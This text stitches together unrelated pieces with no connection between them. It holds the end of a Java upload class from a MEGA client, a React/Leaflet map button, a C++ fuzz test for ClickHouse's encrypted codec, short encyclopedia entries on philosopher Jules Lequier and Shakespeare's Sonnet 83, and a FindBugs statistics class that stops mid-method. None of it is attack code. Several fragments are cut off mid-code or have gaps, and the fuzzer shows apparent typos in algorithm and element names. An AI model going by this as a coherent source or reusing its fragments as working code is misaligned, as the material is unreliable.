} @Override public MainPanel getMain_panel() { return _main_panel; } public void startSlot() { if (!_exit) { synchronized (_workers_lock) { int chunkthiser_id = _chunkworkers.size() + 1; ChunkUploader c = new ChunkUploader(chunkthiser_id, this); _chunkworkers.add(c); try { LOG.log(Level.INFO, "{0} Starting chunkuploader from startslot()...", Thread.currentThread().getName()); _thread_pool.execute(c); } catch (java.util.concurrent.RejectedExecutionException e) { LOG.log(Level.INFO, e.getMessage()); } } } } public void setPause(boolean pause) { _pause = pause; } public void stopLastStartedSlot() { if (!_exit) { synchronized (_workers_lock) { if (!_chunkworkers.isEmpty()) { MiscTools.GUIRun(() -> { getView().getSlots_spinner().setEnabled(false); }); int i = _chunkworkers.size() - 1; while (i >= 0) { ChunkUploader chunkuploader = _chunkworkers.get(i); if (!chunkuploader.isExit()) { chunkuploader.setExit(true); chunkuploader.secureNotify(); _view.updateSlotsStatus(); break; } else { i--; } } } } } } public void rejectChunkId(long chunk_id) { _rejectedChunkIds.add(chunk_id); } @Override public void run() { LOG.log(Level.INFO, "{0} Uploader hello! {1}", new Object[]{Thread.currentThread().getName(), this.getFile_name()}); MiscTools.GUIRun(() -> { getView().getQueue_down_button().setVisible(false); getView().getQueue_up_button().setVisible(false); getView().getQueue_top_button().setVisible(false); getView().getQueue_bottom_button().setVisible(false); }); getView().printStatusNormal("Starting upload, please wait..."); if (!_exit) { _thread_pool.execute(() -> { String thumbnails_string = DBTools.selectSettingValue("thumbnails"); if ("yes".equals(thumbnails_string)) { Thumbnailer thumbnailer = new Thumbnailer(); _thumbnail_file = thumbnailer.createThumbnail(_file_name); } else { _thumbnail_file = null; } }); if (_ul_url == null) { int conta_error = 0; do { try { _ul_url = _ma.initUploadFile(_file_name); } catch (MegaAPIException ex) { Logger.getLogger(Upload.class.getName()).log(Level.SEVERE, ex.getMessage()); if (Arrays.asList(FATAL_API_ERROR_CODES).contains(ex.getCode())) { stopUploader(ex.getMessage()); _auto_retry_on_error = Arrays.asList(FATAL_API_ERROR_CODES_WITH_RETRY).contains(ex.getCode()); } } if (_ul_url == null && !_exit) { long wait_time = MiscTools.getWaitTimeExpBackOff(++conta_error); LOG.log(Level.INFO, "{0} Uploader {1} Upload URL is null, retrying in {2} secs...", new Object[]{Thread.currentThread().getName(), this.getFile_name(), wait_time}); try { Thread.sleep(wait_time * 1000); } catch (InterruptedException ex) { LOG.log(Level.SEVERE, ex.getMessage()); } } } while (_ul_url == null && !_exit); if (_ul_url != null) { try { DBTools.updateUploadUrl(_file_name, _ma.getFull_email(), _ul_url); _auto_retry_on_error = true; } catch (SQLException ex) { LOG.log(Level.SEVERE, ex.getMessage()); } } } _canceled = false; if (!_exit && _ul_url != null && _ul_key != null) { int[] file_iv = {_ul_key[4], _ul_key[5], 0, 0}; _byte_file_key = i32a2bin(Arrays.copyOfRange(_ul_key, 0, 4)); _byte_file_iv = i32a2bin(file_iv); MiscTools.GUIRun(() -> { getView().getClose_button().setVisible(false); getView().getCbc_label().setVisible(true); }); if (_file_size > 0) { getView().updateProgressBar(0); } else { getView().updateProgressBar(MAX_VALUE); } _thread_pool.execute(getProgress_meter()); getMain_panel().getGlobal_up_speed().attachTransference(this); _mac_generator = new UploadMACGenerator(this); _thread_pool.execute(_mac_generator); synchronized (_workers_lock) { _slots = getMain_panel().getDefault_slots_up(); _view.getSlots_spinner().setValue(_slots); for (int t = 1; t <= _slots; t++) { ChunkUploader c = new ChunkUploader(t, this); _chunkworkers.add(c); LOG.log(Level.INFO, "{0} Starting chunkuploader {1} ...", new Object[]{Thread.currentThread().getName(), t}); _thread_pool.execute(c); } MiscTools.GUIRun(() -> { getView().getSlots_label().setVisible(true); getView().getSlots_spinner().setVisible(true); getView().getSlot_status_label().setVisible(true); }); } getView().printStatusNormal(LabelTranslatorSingleton.getInstance().translate("Uploading file to mega (") + _ma.getFull_email() + ") ..."); MiscTools.GUIRun(() -> { getView().getPause_button().setVisible(true); getView().getProgress_pbar().setVisible(true); }); THREAD_POOL.execute(() -> { //PROGRESS WATCHDOG If a upload remains more than PROGRESS_WATCHDOG_TIMEOUT seconds without receiving data, we force fatal error in order to restart it. LOG.log(Level.INFO, "{0} PROGRESS WATCHDOG HELLO!", Thread.currentThread().getName()); long last_progress, progress = getProgress(); do { last_progress = progress; synchronized (_progress_watchdog_lock) { try { _progress_watchdog_lock.wait(PROGRESS_WATCHDOG_TIMEOUT * 1000); progress = getProgress(); } catch (InterruptedException ex) { progress = -1; Logger.getLogger(Download.class.getName()).log(Level.SEVERE, null, ex); } } } while (!isExit() && !_thread_pool.isShutdown() && progress < getFile_size() && (isPaused() || progress > last_progress)); if (!isExit() && !_thread_pool.isShutdown() && _status_error == null && progress < getFile_size() && progress <= last_progress) { stopUploader("PROGRESS WATCHDOG TIMEOUT!"); } LOG.log(Level.INFO, "{0} PROGRESS WATCHDOG BYE BYE!", Thread.currentThread().getName()); }); secureWait(); LOG.log(Level.INFO, "{0} Chunkuploaders finished! {1}", new Object[]{Thread.currentThread().getName(), this.getFile_name()}); getProgress_meter().setExit(true); getProgress_meter().secureNotify(); try { _thread_pool.shutdown(); LOG.log(Level.INFO, "{0}Waiting for all threads to finish {1}...", new Object[]{Thread.currentThread().getName(), this.getFile_name()}); _thread_pool.awaitTermination(MAX_WAIT_WORKERS_SHUTDOWN, TimeUnit.SECONDS); } catch (InterruptedException ex) { LOG.log(Level.SEVERE, ex.getMessage()); } if (!_thread_pool.isTerminated()) { LOG.log(Level.INFO, "{0} Closing thread pool in ''mecag\u00fcen'' style {1}...", new Object[]{Thread.currentThread().getName(), this.getFile_name()}); _thread_pool.shutdownNow(); } LOG.log(Level.INFO, "{0} Uploader thread pool finished! {1}", new Object[]{Thread.currentThread().getName(), this.getFile_name()}); getMain_panel().getGlobal_up_speed().detachTransference(this); MiscTools.GUIRun(() -> { for (JComponent c : new JComponent[]{getView().getSpeed_label(), getView().getCbc_label(), getView().getPause_button(), getView().getStop_button(), getView().getSlots_label(), getView().getSlots_spinner()}) { c.setVisible(false); } }); if (!_exit) { if (_completion_handler != null) { LOG.log(Level.INFO, "{0} Uploader creating NEW MEGA NODE {1}...", new Object[]{Thread.currentThread().getName(), this.getFile_name()}); getView().printStatusWarning("Creating new MEGA node ... ***DO NOT EXIT MEGABASTERD NOW***"); File f = new File(_file_name); HashMap<String, Object> upload_res = null; int[] ul_key = _ul_key; int[] node_key = {ul_key[0] ^ ul_key[4], ul_key[1] ^ ul_key[5], ul_key[2] ^ _file_meta_mac[0], ul_key[3] ^ _file_meta_mac[1], ul_key[4], ul_key[5], _file_meta_mac[0], _file_meta_mac[1]}; int conta_error = 0; do { try { upload_res = _ma.finishUploadFile(f.getName(), ul_key, node_key, _file_meta_mac, _completion_handler, _parent_node, i32a2bin(_ma.getMaster_key()), _root_node, _share_key); } catch (MegaAPIException ex) { Logger.getLogger(Upload.class.getName()).log(Level.SEVERE, ex.getMessage()); if (Arrays.asList(FATAL_API_ERROR_CODES).contains(ex.getCode())) { stopUploader(ex.getMessage()); _auto_retry_on_error = Arrays.asList(FATAL_API_ERROR_CODES_WITH_RETRY).contains(ex.getCode()); } } if (upload_res == null && !_exit) { long wait_time = MiscTools.getWaitTimeExpBackOff(++conta_error); LOG.log(Level.INFO, "{0} Uploader {1} Finisih upload res is null, retrying in {2} secs...", new Object[]{Thread.currentThread().getName(), this.getFile_name(), wait_time}); try { Thread.sleep(wait_time * 1000); } catch (InterruptedException ex) { LOG.log(Level.SEVERE, ex.getMessage()); } } } while (upload_res == null && !_exit); if (upload_res != null && !_exit) { try { List files = (List) upload_res.get("f"); _fid = (String) ((Map<String, Object>) files.get(0)).get("h"); while (_thumbnail_file != null && "".equals(_thumbnail_file)) { MiscTools.pausar(1000); } if (_thumbnail_file != null) { getView().printStatusWarning("Creating thumbnail ... ***DO NOT EXIT MEGABASTERD NOW***"); if (!Files.isReadable(Paths.get(_thumbnail_file))) { Thumbnailer thumbnailer = new Thumbnailer(); _thumbnail_file = thumbnailer.createThumbnail(_file_name); } getView().printStatusWarning("Uploading thumbnail ... ***DO NOT EXIT MEGABASTERD NOW***"); _ma.uploadThumbnails(this, _fid, _thumbnail_file, _thumbnail_file); Files.deleteIfExists(Paths.get(_thumbnail_file)); } try { _file_link = _ma.getPublicFileLink(_fid, i32a2bin(node_key)); MiscTools.GUIRun(() -> { getView().getFile_link_button().setEnabled(true); }); } catch (Exception ex) { LOG.log(Level.SEVERE, ex.getMessage()); } getView().printStatusOK(LabelTranslatorSingleton.getInstance().translate("File successfully uploaded! (") + _ma.getFull_email() + ")"); synchronized (this.getMain_panel().getUpload_manager().getLog_file_lock()) { File upload_log = new File(MiscTools.UPLOAD_LOGS_DIR + "/megabasterd_upload_" + _root_node + ".log"); if (upload_log.exists()) { FileWriter fr; try { fr = new FileWriter(upload_log, true); fr.write("[" + MiscTools.getFechaHoraActual() + "] " + _file_name + " [" + MiscTools.formatBytes(_file_size) + "] " + _file_link + "\n"); fr.close(); } catch (IOException ex) { Logger.getLogger(Upload.class.getName()).log(Level.SEVERE, ex.getMessage()); } } } } catch (MegaAPIException ex) { Logger.getLogger(Upload.class.getName()).log(Level.SEVERE, null, ex); } catch (IOException ex) { Logger.getLogger(Upload.class.getName()).log(Level.SEVERE, null, ex); } } else if (_status_error != null) { getView().hideAllExceptStatus(); getView().printStatusError(_status_error); } } else { _status_error = "UPLOAD FAILED! (Empty completion handle!)"; getView().hideAllExceptStatus(); getView().printStatusError(_status_error); } } else if (_canceled) { getView().hideAllExceptStatus(); getView().printStatusNormal("Upload CANCELED!"); } else { getView().hideAllExceptStatus(); _status_error = "UNEXPECTED ERROR!"; getView().printStatusError(_status_error); } } else if (_status_error != null) { getView().hideAllExceptStatus(); getView().printStatusError(_status_error); } else if (_canceled) { getView().hideAllExceptStatus(); getView().printStatusNormal("Upload CANCELED!"); } else { getView().hideAllExceptStatus(); _status_error = "UNEXPECTED ERROR!"; getView().printStatusError(_status_error); } } else if (_canceled) { getView().hideAllExceptStatus(); getView().printStatusNormal("Upload CANCELED!"); } else { getView().hideAllExceptStatus(); _status_error = "UNEXPECTED ERROR!"; getView().printStatusError(_status_error); } if (_status_error == null && !_canceled) { try { DBTools.deleteUpload(_file_name, _ma.getFull_email()); } catch (SQLException ex) { LOG.log(Level.SEVERE, ex.getMessage()); } } else { try { DBTools.updateUploadProgress(getFile_name(), getMa().getFull_email(), getProgress(), getTemp_mac_data() != null ? getTemp_mac_data() : null); } catch (SQLException ex) { Logger.getLogger(Upload.class.getName()).log(Level.SEVERE, null, ex); } } getMain_panel().getUpload_manager().getTransference_running_list().remove(this); getMain_panel().getUpload_manager().getTransference_finished_queue().add(this); MiscTools.GUIRun(() -> { getMain_panel().getUpload_manager().getScroll_panel().remove(getView()); getMain_panel().getUpload_manager().getScroll_panel().add(getView()); getMain_panel().getUpload_manager().secureNotify(); }); MiscTools.GUIRun(() -> { getView().getClose_button().setVisible(true); if (_status_error != null || _canceled) { getView().getRestart_button().setVisible(true); } else { getView().getClose_button().setIcon(new javax.swing.ImageIcon(getClass().getResource("/images/icons8-ok-30.png"))); } }); if (_status_error != null && !_canceled && _auto_retry_on_error) { THREAD_POOL.execute(() -> { for (int i = 3; !_closed && i > 0; i--) { final int j = i; MiscTools.GUIRun(() -> { getView().getRestart_button().setText("Restart (" + String.valueOf(j) + " secs...)"); }); try { Thread.sleep(1000); } catch (InterruptedException ex) { Logger.getLogger(Upload.class.getName()).log(Level.SEVERE, ex.getMessage()); } } if (!_closed) { LOG.log(Level.INFO, "{0} Uploader {1} AUTO RESTARTING UPLOAD...", new Object[]{Thread.currentThread().getName(), getFile_name()}); restart(); } }); } else { getMain_panel().getUpload_manager().setAll_finished(false); } _exit = true; if (_status_error != null && !_canceled && getMain_panel().getDownload_manager().no_transferences() && getMain_panel().getUpload_manager().no_transferences() && (!getMain_panel().getDownload_manager().getTransference_finished_queue().isEmpty() || !getMain_panel().getUpload_manager().getTransference_finished_queue().isEmpty()) && getMain_panel().getView().getAuto_close_menu().isSelected()) { System.exit(0); } synchronized (_progress_watchdog_lock) { _progress_watchdog_lock.notifyAll(); } LOG.log(Level.INFO, "{0} Uploader {1} BYE BYE", new Object[]{Thread.currentThread().getName(), this.getFile_name()}); } public void pause_worker() { synchronized (_workers_lock) { if (++_paused_workers >= _chunkworkers.size() && !_exit) { getView().printStatusNormal("Upload paused!"); MiscTools.GUIRun(() -> { getView().getPause_button().setText(LabelTranslatorSingleton.getInstance().translate("RESUME UPLOAD")); getView().getPause_button().setEnabled(true); }); } } } public void pause_worker_mono() { getView().printStatusNormal("Upload paused!"); MiscTools.GUIRun(() -> { getView().getPause_button().setText(LabelTranslatorSingleton.getInstance().translate("RESUME UPLOAD")); getView().getPause_button().setEnabled(true); }); } public void stopThisSlot(ChunkUploader chunkuploader) { synchronized (_workers_lock) { if (_chunkworkers.remove(chunkuploader) && !_exit) { if (chunkuploader.isChunk_exception() || getMain_panel().isExit()) { _finalizing = true; MiscTools.GUIRun(() -> { getView().getSlots_spinner().setEnabled(false); getView().getSlots_spinner().setValue((int) getView().getSlots_spinner().getValue() - 1); }); } else if (!_finalizing) { MiscTools.GUIRun(() -> { getView().getSlots_spinner().setEnabled(true); }); } if (!_exit && isPause() && _paused_workers == _chunkworkers.size()) { getView().printStatusNormal("Upload paused!"); MiscTools.GUIRun(() -> { getView().getPause_button().setText(LabelTranslatorSingleton.getInstance().translate("RESUME UPLOAD")); getView().getPause_button().setEnabled(true); }); } getView().updateSlotsStatus(); } } } public long nextChunkId() throws ChunkInvalidException { synchronized (_chunkid_lock) { Long next_id; if ((next_id = _rejectedChunkIds.poll()) != null) { return next_id; } else { return ++_last_chunk_id_dispatched; } } } public void setExit(boolean exit) { _exit = exit; } public void stopUploader() { if (!_exit) { _exit = true; getView().stop("Stopping upload, please wait..."); synchronized (_workers_lock) { _chunkworkers.forEach((uploader) -> { uploader.secureNotify(); }); } secureNotify(); } } public void stopUploader(String reason) { _status_error = (reason != null ? LabelTranslatorSingleton.getInstance().translate("FATAL ERROR! ") + reason : LabelTranslatorSingleton.getInstance().translate("FATAL ERROR! ")); stopUploader(); } public int[] getFile_meta_mac() { return _file_meta_mac; } @Override public void setProgress(long progress) { synchronized (_progress_lock) { long old_progress = _progress; _progress = progress; getMain_panel().getUpload_manager().increment_total_progress(_progress - old_progress); int old_percent_progress = (int) Math.floor(((double) old_progress / _file_size) * 100); int new_percent_progress = (int) Math.floor(((double) progress / _file_size) * 100); if (new_percent_progress == 100 && progress != _file_size) { new_percent_progress = 99; } if (new_percent_progress > old_percent_progress) { getView().updateProgressBar(_progress, _progress_bar_rate); } } } @Override public boolean isStatusError() { return _status_error != null; } public long calculateLastUploadedChunk(long bytes_read) { if (bytes_read > 3584 * 1024) { return 7 + (long) Math.floor((float) (bytes_read - 3584 * 1024) / (1024 * 1024 * 1)); } else { long i = 0, tot = 0; while (tot < bytes_read) { i++; tot += i * 128 * 1024; } return i; } } public void secureNotifyWorkers() { synchronized (_workers_lock) { getChunkworkers().forEach((uploader) -> { uploader.secureNotify(); }); } } @Override public void bottomWaitQueue() { _main_panel.getUpload_manager().bottomWaitQueue(this); } @Override public void topWaitQueue() { _main_panel.getUpload_manager().topWaitQueue(this); } @Override public int getSlotsCount() { return getChunkworkers().size(); } @Override public boolean isFrozen() { return this._frozen; } @Override public void unfreeze() { getView().printStatusNormal(getView().getStatus_label().getText().replaceFirst("^\\([^)]+\\) ", "")); _frozen = false; } @Override public void upWaitQueue() { _main_panel.getUpload_manager().upWaitQueue(this); } @Override public void downWaitQueue() { _main_panel.getUpload_manager().downWaitQueue(this); } @Override public boolean isClosed() { return _closed; } @Override public int getPausedWorkers() { return _paused_workers; } @Override public int getTotWorkers() { return getChunkworkers().size(); } } ```
```jsx import L from 'leaflet'; import ReactDOM from 'ReactDOM'; import React from 'React'; import PropTypes from 'prop-types'; import './Contours.scss'; import ContoursPanel from './ContoursPanel'; class ContoursButton extends React.Component { static propTypes = { tasks: PropTypes.object.isRequired, map: PropTypes.object.isRequired } constructor(props){ super(props); this.state = { showPanel: false }; } handleOpen = () => { this.setState({showPanel: true}); } handleClose = () => { this.setState({showPanel: false}); } render(){ const { showPanel } = this.state; return (<div className={showPanel ? "open" : ""}> <a href="javascript:void(0);" onClick={this.handleOpen} className="leaflet-control-contours-button leaflet-bar-part theme-secondary"></a> <ContoursPanel map={this.props.map} isShowed={showPanel} tasks={this.props.tasks} onClose={this.handleClose} /> </div>); } } export default L.Control.extend({ options: { position: 'topright' }, onAdd: function (map) { var container = L.DomUtil.create('div', 'leaflet-control-contours leaflet-bar leaflet-control'); L.DomEvent.disableClickPropagation(container); ReactDOM.render(<ContoursButton map={this.options.map} tasks={this.options.tasks} />, container); return container; } }); ```
```c++ #include <cstddef> #include <cstdint> #include <memory> #include <string> #include <Compression/ICompressionCodec.h> #include <Compression/CompressionCodecEncrypted.h> #include <IO/BufferWithOwnMemory.h> #include <Poco/DOM/AutoPtr.h> #include <Poco/DOM/Document.h> #include <Poco/DOM/Element.h> #include <Poco/DOM/Text.h> #include <Poco/NumericString.h> #include <Poco/Util/AbstractConfiguration.h> #include <Poco/Util/XMLConfiguration.h> #include "Common/Exception.h" inline DB::CompressionCodecPtr getCompressionCodecEncrypted(DB::EncryptionMethod Method) { return std::make_shared<DB::CompressionCodecEncrypted>(Method); } namespace { using namespace Poco; using namespace Poco::XML; /* Fuzzing data consists of: first byte: 1) length of nonce is in data (for correct work with wrong data from user) 2) length of key is in data (for correct work with wrong data from user) 3) is 128 turn on 4) multiple keys for 128 5) is 256 turn on 6) multiple keys for 256 7) nonce is set 8) current_key is set read_key() will cosist of following steps: if (2): read 4 byte to know size if multiple_keys: read id else: size is chosen correctly according to algorithm read size_bytes as a key next bytes will have information in this order: if (3): if (4): read count for i in range(count): read_key() else: read_key() if (7): read_nonce (similar to read_key) if (8): set current_key same for AES_256_GCM_SIV with (5) and (6) instead of (3) and (4) This class read data and generate xml documentation. */ class XMLGenerator { public: XMLGenerator(const uint8_t * data, size_t& size); /// Try to generate config from input data using algorithm, which is described before class declaration void generate(); /// Size of part, which was used on generating config size_t keySize() const; /// Get config const Poco::AutoPtr<Poco::Util::XMLConfiguration>& getResult() const; /// If something happened in generator, it will be true bool hasError() const; private: /// generate algorithm section with key and nonce bool generateAlgorithmKeys(AutoPtr<Poco::XML::Element>& document_root, std::string name, uint8_t mask_for_algo, uint8_t mask_for_multiple_keys); /// move on count bytes stream and increase counter /// returns false if some errors occuried bool next(ssize_t count=1); /// Create a key from data ssize_t generateKey(std::string name, bool multiple=false); const uint8_t * data; size_t start_size; size_t keys_size; AutoPtr<Poco::XML::Document> xml_document; AutoPtr<Poco::XML::Element> algo; AutoPtr<Poco::Util::XMLConfiguration> conf; uint8_t first_byte; bool error; }; XMLGenerator::XMLGenerator(const uint8_t * Data, size_t& Size): data(Data), start_size(Size), conf(new Poco::Util::XMLConfiguration()), error(false) {} size_t XMLGenerator::keySize() const { return keys_size; } const Poco::AutoPtr<Poco::Util::XMLConfiguration>& XMLGenerator::getResult() const { return conf; } bool XMLGenerator::hasError() const { return error; } bool XMLGenerator::next(ssize_t count) { /// If negative step - something went wrong if (count == -1) { error = true; return false; } /// move data and increase counter keys_size += count; /// If get after eof if (keys_size >= start_size) { error = true; return false; } data += count; return true; } /* <Key>key</key> or <key id=..>key</key> */ ssize_t XMLGenerator::generateKey(std::string name, bool multiple) { /// set traditional key size for algorithms uint64_t size = 0; if (name == "aes_128_gcm_siv") size = 16; if (name == "aes_256_gcm_siv") size = 32; /// try to read size from data if (first_byte & 0x40) { size = *(reinterpret_cast<const uint64_t*>(data)); if (!next(8)) return -1; } /// if it is not defined, leave if (!size) return -1; AutoPtr<Poco::XML::Element> key_holder; if (multiple) { /// multiple keys have ids. uint64_t id = *(reinterpret_cast<const uint64_t*>(data)); if (!next(8)) return -1; key_holder = xml_document->createElement("key[id=" + std::to_string(id) + "]"); } else { key_holder = xml_document->createElement("key"); } AutoPtr<Text> key(xml_document->createTextNode(std::string(data, data + size))); key_holder->appendChild(key); algo->appendChild(key_holder); if (!next(size)) return -1; return size; } bool XMLGenerator::generateAlgorithmKeys( AutoPtr<Poco::XML::Element>& document_root, std::string name, uint8_t mask_for_algo, uint8_t mask_for_multiple_keys) { /// check if algorithm is enabled, then add multiple keys or single key if (first_byte & mask_for_algo) { algo = xml_document->createElement(name); document_root->appendChild(algo); if (first_byte & mask_for_multiple_keys) { uint64_t count = *(reinterpret_cast<const uint64_t*>(data)); if (!next(8)) return false; for (size_t i = 0; i < count; ++i) { if (!next(generateKey(name))) return false; } } else { if (!next(generateKey(name))) return false; } } /// add nonce if (first_byte & 0x02) { uint64_t nonce_size = 12; if (first_byte & 0x80) { nonce_size = *(reinterpret_cast<const uint64_t*>(data)); if (!next(8)) return false; } AutoPtr<Poco::XML::Element> nonce_holder(xml_document->createElement("nonce")); AutoPtr<Text> nonce(xml_document->createTextNode(std::string(data, data + nonce_size))); nonce_holder->appendChild(nonce); algo->appendChild(nonce_holder); } /// add current key id if (first_byte & 0x01) { uint64_t current_key = *(reinterpret_cast<const uint64_t*>(data)); if (!next(8)) return false; AutoPtr<Poco::XML::Element> cur_key_holder(xml_document->createElement("nonce")); AutoPtr<Text> cur_key(xml_document->createTextNode(std::to_string(current_key))); cur_key_holder->appendChild(cur_key); algo->appendChild(cur_key_holder); } return true; } void XMLGenerator::generate() { AutoPtr<Poco::XML::Element> document_root(xml_document->createElement("encryption_codecs")); xml_document->appendChild(document_root); /// read first byte for parsing first_byte = *data; if (!next()) return; if (!generateAlgorithmKeys(document_root, "aes_128_gmc_siv", 0x20, 0x10)) return; if (!generateAlgorithmKeys(document_root, "aes_256_gmc_siv", 0x08, 0x04)) return; conf->load(xml_document); } } extern "C" int LLVMFuzzerTestOneInput(const uint8_t * data, size_t size) { try { XMLGenerator generator(data, size); generator.generate(); if (generator.hasError()) return 0; auto config = generator.getResult(); auto codec_128 = getCompressionCodecEncrypted(DB::AES_128_GCM_SIV); auto codec_256 = getCompressionCodecEncrypted(DB::AES_256_GCM_SIV); DB::CompressionCodecEncrypted::Configuration::instance().tryLoad(*config, ""); size_t data_size = size - generator.keySize(); std::string input = std::string(reinterpret_cast<const char*>(data), data_size); fmt::print(stderr, "Using input {} of size {}, output size is {}. \n", input, data_size, input.size() - 31); DB::Memory<> memory; memory.resize(input.size() + codec_128->getAdditionalSizeAtTheEndOfBuffer()); codec_128->doDecompressData(input.data(), static_cast<UInt32>(input.size()), memory.data(), static_cast<UInt32>(input.size()) - 31); memory.resize(input.size() + codec_128->getAdditionalSizeAtTheEndOfBuffer()); codec_256->doDecompressData(input.data(), static_cast<UInt32>(input.size()), memory.data(), static_cast<UInt32>(input.size()) - 31); } catch (...) { } return 0; } ```
Jules Lequier (or Lequyer, ; 30 January 1814 – 11 February 1862) was a French philosopher from Brittany. Lequier died, presumably by suicide, by swimming out into the ocean. Philosophical work Lequier wrote in favour of dynamic divine omniscience, wherein God's knowledge of the future is one of possibilities rather than actualities. Omniscience, under this view, is the knowledge of necessary facts as necessary, and contingent facts as contingent. Since the future does not yet exist as anything more than a realm of abstract possibilities, it is no impugning of divine omniscience to claim that God does not know the future as a fixed and unalterable state of affairs: that he does not know what is not there to be known. Lequier's approach guarantees both divine and human freedom, and suggests a partial resolution of the apparent inconsistency of human-wrought evil and the perfect goodness, power and knowledge of God. Fragments translated into English Translation of Works of Jules Lequyer: The Hornbeam Leaf, The Dialogue of the Predestinate and the Reprobate, Eugene and Theophilus (Lewiston, New York: Edwin Mellen Press, 1998). Jules Lequyer’s "Abel and Abel" Followed by "Incidents in the Life and Death of Jules Lequyer" (Lewiston, New York: Edwin Mellen Press, 1999). References External links "Jules Lequyer (Lequier)" article in the Internet Encyclopedia of Philosophy 1814 births 1862 deaths French philosophers French male non-fiction writers 1860s suicides Suicides by drowning in France
Sonnet 83 is one of 154 sonnets published by William Shakespeare in a quarto titled Shakespeare's Sonnets in 1609. It is a part of the Fair Youth group of sonnets, and the sixth sonnet of the Rival Poet group. Exegesis The poet says that he has not seen that the young man needed to be described in a flattering way ("painting"), and so he has not attempted it. Line 4 ("I found, or thought I found") suggests that he has been rebuked for being silent, which is also suggested in line 9 ("this silence for my sin you did impute"). "Modern quill" suggests an inadequately ordinary kind of writing, and the whole of line 7 ("How far a modern quill doth come too short") contains a sexual inadequacy pun aimed at the rival poet or poets. The third quatrain is so insistent on the poet's silence ("silence" "dumb" "mute") that it suggests deliberateness. Line 12 suggests that when other poets attempt to bring the young man to life in their descriptions, they in fact do the opposite. ("When others would give life and bring a tomb.") Structure Sonnet 83 is an English or Shakespearean sonnet, which has three quatrains, followed by a final rhyming couplet. It follows the rhyme scheme ABAB CDCD EFEF GG and is composed in iambic pentameter, a metre of five feet per line, with two syllables in each foot accented weak/strong. Most of the lines are examples of regular iambic pentameter, including the 7th line: × / × / × / × / × / How far a modern quill doth come too short, / × × / × / × / × / Speaking of worth, what worth in you doth grow. (83.7-8) / = ictus, a metrically strong syllabic position. × = nonictus. It is followed (in line 8) by an initial reversal, a common metrical variation. The meter calls for line 6's "being" to function as 1 syllable. Interpretations Imelda Staunton, for the 2002 compilation album, When Love Speaks (EMI Classics) Notes References British poems Sonnets by William Shakespeare
```java /* * FindBugs - Find Bugs in Java programs * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * * You should have received a copy of the GNU Lesser General Public * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ package edu.umd.cs.findbugs.workflow; import java.io.FileOutputStream; import java.io.PrintStream; import java.util.HashMap; import java.util.Map; import java.util.TreeMap; import edu.umd.cs.findbugs.BugCollection; import edu.umd.cs.findbugs.BugInstance; import edu.umd.cs.findbugs.DetectorFactoryCollection; import edu.umd.cs.findbugs.SortedBugCollection; import edu.umd.cs.findbugs.charsets.UTF8; import edu.umd.cs.findbugs.config.CommandLine; /** * @author William Pugh */ public class Churn { BugCollection bugCollection; int fixRate = -1; public Churn() { } public Churn(BugCollection bugCollection) { this.bugCollection = bugCollection; } public void setBugCollection(BugCollection bugCollection) { this.bugCollection = bugCollection; } String getKey(BugInstance b) { String result = b.getCategoryAbbrev(); if ("C".equals(result) || "N".equals(result)) { return result; } return "O"; // return b.getPriorityAbbreviation() + "-" + b.getType(); } static class Data { int persist, fixed; int maxRemovedAtOnce() { int count = 0; for (int c : lastCount.values()) { if (count < c) { count = c; } } return count; } Map<Long, Integer> lastCount = new HashMap<>(); void update(BugInstance bug) { if (bug.isDead()) { fixed++; } else { persist++; } final long lastVersion = bug.getLastVersion(); if (lastVersion != -1) { Integer v = lastCount.get(lastVersion); if (v == null) { lastCount.put(lastVersion, 0); } else { lastCount.put(lastVersion, v + 1); } } } } Map<String, Data> data = new TreeMap<>(); Data all = new Data(); int[] aliveAt; int[] diedAfter; public Churn execute() { data.put("all", all); aliveAt = new int[(int) bugCollection.getSequenceNumber() + 1]; diedAfter = new int[(int) bugCollection.getSequenceNumber() + 1]; for (BugInstance bugInstance : bugCollection) { String key = getKey(bugInstance); Data d = data.get(key); if (d == null) { data.put(key, d = new Data()); } d.update(bugInstance); all.update(bugInstance); long first = bugInstance.getFirstVersion(); long last = bugInstance.getLastVersion(); if (last != -1) { System.out.printf("%3d #fixed %s%n", last, key); } if (first != 0 && last != -1) { int lifespan = (int) (last - first + 1); System.out.printf("%3d #age %s%n", lifespan, key); System.out.printf("%3d %3d #spread %s%n", first, last, key); diedAfter[lifespan]++; for (int t = 1; t < lifespan; t++) { aliveAt[t]++; } } else if (first != 0) { int lifespan = (int) (bugCollection.getSequenceNumber() - first + 1); for (int t = 1; t < lifespan; t++) { aliveAt[t]++; } } } return this; } public void dump(PrintStream out) { for (int t = 1; t < aliveAt.length; t++) { if (aliveAt[t] != 0) { System.out.printf("%3d%% %4d %5d %3d #decay%n", diedAfter[t] * 100 / aliveAt[t], diedAfter[t], aliveAt[t], t); } } System.out.printf("%7s %3s %5s %5s %5s %s%n", "chi", "%", "const", "fix", "max", "kind"); double fixRate; if (this.fixRate == -1) { fixRate = ((double) all.fixed) / (all.fixed + all.persist); } else { fixRate = this.fixRate / 100.0; } double highFixRate = fixRate + 0.05; double lowFixRate = fixRate - 0.05; for (Map.Entry<String, Data> e : data.entrySet()) { Data d = e.getValue(); int total = d.persist + d.fixed; if (total < 2) { continue; } double rawFixRate = ((double) d.fixed) / total; double chiValue; if (lowFixRate <= rawFixRate && rawFixRate <= highFixRate) { chiValue = 0; } else { double baseFixRate; if (rawFixRate < lowFixRate) { baseFixRate = lowFixRate; } else { baseFixRate = highFixRate; } double expectedFixed = baseFixRate * total; double expectedPersist = (1 - baseFixRate) * total; chiValue = (d.fixed - expectedFixed) * (d.fixed - expectedFixed) / expectedFixed + (d.persist - expectedPersist) * (d.persist - expectedPersist) / expectedPersist; if (rawFixRate < lowFixRate) { chiValue = -chiValue; } } System.out.printf("%7d %3d %5d %5d %5d %s%n", (int) chiValue, d.fixed * 100 / total, d.persist, d.fixed, d.maxRemovedAtOnce(), e.getKey()); } } class ChurnCommandLine extends CommandLine { ChurnCommandLine() { this.addOption("-fixRate", "percentage", "expected fix rate for chi test"); } @Override public void handleOption(String option, String optionalExtraPart) { throw new IllegalArgumentException("unknown option: " + option); } @Override public void handleOptionWithArgument(String option, String argument) { if ("-fixRate".equals(option)) { fixRate = Integer.parseInt(argument); } else { throw new IllegalArgumentException("unknown option: " + option); } } } public static void main(String[] args) throws Exception { DetectorFactoryCollection.instance(); // 